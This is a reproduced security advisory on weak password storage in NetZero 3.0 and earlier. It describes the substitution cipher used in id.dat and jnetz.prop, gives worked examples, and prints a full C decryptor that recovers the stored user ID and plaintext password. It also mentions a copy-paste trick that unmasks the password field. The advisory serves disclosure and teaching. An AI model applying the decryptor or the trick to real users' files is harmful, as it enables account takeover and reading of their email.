COMMAND
NetZero
SYSTEMS AFFECTED
NetZero V3.0 and earlier
PROBLEM
Following is based at L0pht Research Labs Security Advisory by
Brian Carrier. It is unfortunately common practice that
applications which allow users to remember their passwords as a
convenience rarely encrypt them but instead opt to simply
obfuscate them. This does not alter the fact that user perception
and expectation, for the majority of users at least, is often
incorrectly set. Often times convenience eschews security in
these products.
There are dozens of applications available that make this same
mistake. This advisory is not an attempt to single one vendor
out but rather continue to remind of the common problem of storing
secrets and the reliance of simple obfuscation. If effort is
taken to obfuscate or hide something then it must have been seen
as valuable to someone. If not, why bother? Much the way buffer
overflows abound so do simple obfuscation mechanisms. As such, it
is important to continue to bring them to light.
Unfortunately it is often the case that the average user places
as much trust in these as stronger systems through the apparent
similarity in user interface. As suggested by Aleph1, the MS
CryptoAPI CryptoProectetData() and CryptUnprotectData() functions
currently allow applications to store secrets encrypted, based on
the user's credentials. Therefore, since the methods currently
exist for secure data storage, they should be utilized by all
applications to provide users with a consistent level of
protection.
This advisory is designed to help people see ways of looking at,
and for, these sorts of problems. Or even in being aware of the
situation, to view it as a non-problem. Teaching someone to fish
rather than simply providing one meal. Enjoy the classical
substitution cipher.
NetZero is a service that provides free Internet access to
customers in exchange for the permission to advertise. NetZero's
users log into the network with a login and password that are
saved in an ASCII text file on the users system. This advisory
addresses a weak encryption algorithm that is used to protect the
password from unauthorized access.
In order for a NetZero account to be compromised, an attacker must
have access to the machine or use another vulnerability to read
the file. Once access is obtained, the attacker can easily
determine the user's NetZero login and password in less than a
seconds time. Once the login and password have been determined,
the attacker can read the users email and attack other systems
under the users identity.
This is a common problem in many services of this type. One quick
solution to at least minimize the problem, should this risk be
deemed unacceptable, is to disable the _Save Password_ option.
The login and password that are required to log into the NetZero
network are stored in an ASCII file, id.dat, in the NetZero
directory. If the user chooses to have the application save the
password, then jnetz.prop also contains the login and password.
The password in both files is encrypted using a variation of a
simple substitution cipher.
The classical substitution cipher is a 1-to-1 mapping between
characters where each plaintext character is replaced by one
ciphertext character. For example, let P_i be the plaintext
character in location 'i' and C_j be the ciphertext character in
location 'j', then C_i is the character that P_i maps to.
The NetZero substitution cipher replaces each plaintext character
by two ciphertext characters, but the two ciphertext characters
are not stored together. When substituting character P_i of a
password of length 'n', the first ciphertext character is C_i and
the second character is C_n+i.
The two ciphertext characters are derived from the following table:
| 1 a M Q f 7 g T 9 4 L W e 6 y C
--+----------------------------------
g | ` a b c d e f g h i j k l m n o
T | p q r s t u v w x y z { | } ~
f | @ A B C D E F G H I J K L M N O
7 | P Q R S T U V W X Y Z [ \ ] ^ _
Q | 0 1 2 3 4 5 6 7 8 9 : ; < = > ?
M | SP ! " # $ % & ' ( ) * + , - . /
The characters inside the table represent the ASCII plaintext
characters and SP represents a space. When encrypting a string,
P, of length 'n', find each character in the table and place the
column header into C_i and place the row header into C_n+i.
For example:
E(a) = ag
E(aa) = aagg
E(aqAQ1!) = aaaaaagTf7QM
E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg
When decrypting a string, C, of length '2n', then P_i will be the
element in the above table where the column headed by C_i and the
row headed by C_n+i intersect. For example:
D(af) = A
D(aaff) = AA
D(aaMMQQfgfgfg) = AaBbCc
The following code will demonstrate that the password is easily
decrypted. Simply uudecode, compile, and run in a directory that
contains jnetz.prop.
#include <stdio.h>
#include <string.h>
#define UID_SIZE 64
#define PASS_CIPHER_SIZE 128
#define PASS_PLAIN_SIZE 64
#define BUF_SIZE 256
const char decTable[6][16] = {
{'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'},
{'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0},
{'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'},
{'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'},
{'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'},
{' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'}
};
int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE],
char cPlainPass[PASS_PLAIN_SIZE])
{
int passLen, i, idx1, idx2;
passLen = strlen(cCipherPass)/2;
if (passLen > PASS_PLAIN_SIZE)
{
printf("Error: Plain text array too small\n");
return 1;
}
for (i = 0; i < passLen; i++)
{
switch(cCipherPass[i])
{
case '1':
idx2 = 0; break;
case 'a':
idx2 = 1; break;
case 'M':
idx2 = 2; break;
case 'Q':
idx2 = 3; break;
case 'f':
idx2 = 4; break;
case '7':
idx2 = 5; break;
case 'g':
idx2 = 6; break;
case 'T':
idx2 = 7; break;
case '9':
idx2 = 8; break;
case '4':
idx2 = 9; break;
case 'L':
idx2 = 10; break;
case 'W':
idx2 = 11; break;
case 'e':
idx2 = 12; break;
case '6':
idx2 = 13; break;
case 'y':
idx2 = 14; break;
case 'C':
idx2 = 15; break;
default:
printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]);
return 1;
break;
}
switch(cCipherPass[i+passLen])
{
case 'g':
idx1 = 0; break;
case 'T':
idx1 = 1; break;
case 'f':
idx1 = 2; break;
case '7':
idx1 = 3; break;
case 'Q':
idx1 = 4; break;
case 'M':
idx1 = 5; break;
default:
printf("Error: Unknown Cipher Text Set: %c\n",
cCipherPass[i+passLen]);
return 1;
break;
}
cPlainPass[i] = decTable[idx1][idx2];
}
cPlainPass[i] = 0;
return 0;
}
int main(void)
{
FILE *hParams;
char cBuffer[BUF_SIZE], cUID[UID_SIZE];
char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE];
int done = 2;
printf("\nNet Zero Password Decryptor\n");
printf("Brian Carrier [bcarrier@atstake.com]\n");
printf("@Stake L0pht Research Labs\n");
printf("http://www.atstake.com\n\n");
if ((hParams = fopen("jnetz.prop","r")) == NULL)
{
printf("Unable to find jnetz.prop file\n");
return 1;
}
while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0))
{
if (strncmp(cBuffer, "ProfUID=", 8) == 0)
{
done--;
strncpy(cUID, cBuffer + 8, UID_SIZE);
printf("UserID: %s", cUID);
}
if (strncmp(cBuffer, "ProfPWD=", 8) == 0)
{
done--;
strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE);
printf("Encrypted Password: %s", cCipherPass);
if (nz_decrypt(cCipherPass, cPlainPass) != 0)
return 1;
else
printf("Plain Text Password: %s\n", cPlainPass);
}
}
fclose(hParams);
if (done > 0)
{
printf("Invalid jnetz.prop file\n");
return 1;
} else {
return 0;
}
}
'Intrepid|' added following. You can truly get the "password in
less than a seconds time" without knowledge of the algorithm. No
C program necessary. Just copy and paste the password from
NetZero's logon screen into pretty much any text or word
processing program. The asterisks will be converted to plain
text (Using NetZero Z3, version 3.0.4, on a Win98 box).
SOLUTION
Exploitation of this vulnerability is only possible once an
attacker has gained access to the id.dat or jnetz.prop files.
Therefore, NetZero users should not have the application save
their password and they should delete the id.dat file every time
they start the application.
Vendor has acknowledged receipt of the advisory and has not
provided a response as to any actions they intend to take.
It is unfortunately common practice that applications which allow
users to remember their passwords as a convenience rarely encrypt
them but instead opt to simply obfuscate them. Actually, it's an
unfortunately (verging on ridiculously) common practice to think
that there's any difference between encoding a password using a
fixed algorithm and "encrypting" a password using a fixed key.
Certainly this point is accurate: encryption, even if it's "real"
encryption (3DES, Rijndael, pick your favorite) is only as good
as the secrecy of the key involved. If the key is fixed, it's a
total pushover. If the key is stored "in the same place" (the
same disk, the same database, whatever) as the ciphertext, it's
almost as much of a joke.